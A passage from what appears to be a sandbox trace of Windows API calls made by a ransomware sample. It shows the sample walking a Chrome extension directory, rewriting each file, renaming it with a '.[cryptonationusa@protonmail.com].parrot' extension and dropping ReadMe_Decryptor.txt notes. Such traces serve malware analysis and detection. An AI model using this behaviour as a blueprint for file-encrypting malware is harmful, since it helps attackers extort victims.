lpBuffer=0x68d248*, lpNumberOfBytesWritten=0x18e024*=0x508, lpOverlapped=0x0) returned 1 [0065.996] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0065.996] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x504, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.996] CloseHandle (hObject=0x1fc) returned 1 [0065.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9148 [0065.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x5d9fa8 [0065.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0065.997] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0065.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9fa8 | out: hHeap=0x5b0000) returned 1 [0065.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0065.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d97d0 | out: hHeap=0x5b0000) returned 1 [0065.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0065.997] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9148 [0065.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0065.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0065.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0065.999] GetFileType (hFile=0x1fc) returned 0x1 [0065.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0066.009] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0066.009] lstrcmpW (lpString1="_locales", lpString2=".") returned 1 [0066.009] lstrcmpW (lpString1="_locales", lpString2="..") returned 1 [0066.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0066.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x689470 [0066.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x17e) returned 0x691f80 [0066.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689470 | out: hHeap=0x5b0000) returned 1 [0066.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0066.009] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0066.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d95b8 [0066.009] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0066.143] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.143] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.144] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.144] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.144] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0066.144] lstrcmpW (lpString1="ar", lpString2=".") returned 1 [0066.144] lstrcmpW (lpString1="ar", lpString2="..") returned 1 [0066.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d97d0 [0066.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d95b8 | out: hHeap=0x5b0000) returned 1 [0066.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d95b8 [0066.144] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d98f8 [0066.144] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.144] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.144] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.146] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.146] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.146] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0066.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.153] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22e, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.153] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.153] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.154] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.154] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x116, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x116, lpOverlapped=0x0) returned 1 [0066.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0066.154] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0066.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0066.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0066.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0066.155] GetLastError () returned 0x0 [0066.155] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0066.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0066.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0066.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0066.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0066.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0066.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0066.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0066.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0066.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0066.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0066.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0066.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0066.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0066.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0066.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0066.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0066.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0066.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0066.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d96e0 [0066.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0066.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03d0 [0066.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d96e0 | out: hHeap=0x5b0000) returned 1 [0066.157] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x238) returned 0x5d0518 [0066.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03d0 | out: hHeap=0x5b0000) returned 1 [0066.157] WriteFile (in: hFile=0x28c, lpBuffer=0x5d0518*, nNumberOfBytesToWrite=0x238, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d0518*, lpNumberOfBytesWritten=0x18da44*=0x238, lpOverlapped=0x0) returned 1 [0066.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0066.157] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.157] CloseHandle (hObject=0x28c) returned 1 [0066.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d03d0 [0066.158] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0518 [0066.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03d0 | out: hHeap=0x5b0000) returned 1 [0066.158] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0518 | out: hHeap=0x5b0000) returned 1 [0066.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0198 | out: hHeap=0x5b0000) returned 1 [0066.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9b10 [0066.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9c38 [0066.165] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0066.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0066.166] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0066.166] GetFileType (hFile=0x28c) returned 0x1 [0066.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0066.178] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.178] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5418920, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5418920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.178] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb53f27c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0066.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0066.178] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.178] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.178] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.178] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.178] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.178] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.178] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0066.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.179] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x257, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.179] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.179] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.180] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.180] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x13f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x13f, lpOverlapped=0x0) returned 1 [0066.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0066.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0066.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0066.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0066.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0066.180] GetLastError () returned 0x0 [0066.180] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0066.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0066.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d0430 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d0578 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0430 | out: hHeap=0x5b0000) returned 1 [0066.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d9a20 [0066.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0578 | out: hHeap=0x5b0000) returned 1 [0066.181] WriteFile (in: hFile=0x28c, lpBuffer=0x5d9a20*, nNumberOfBytesToWrite=0x258, 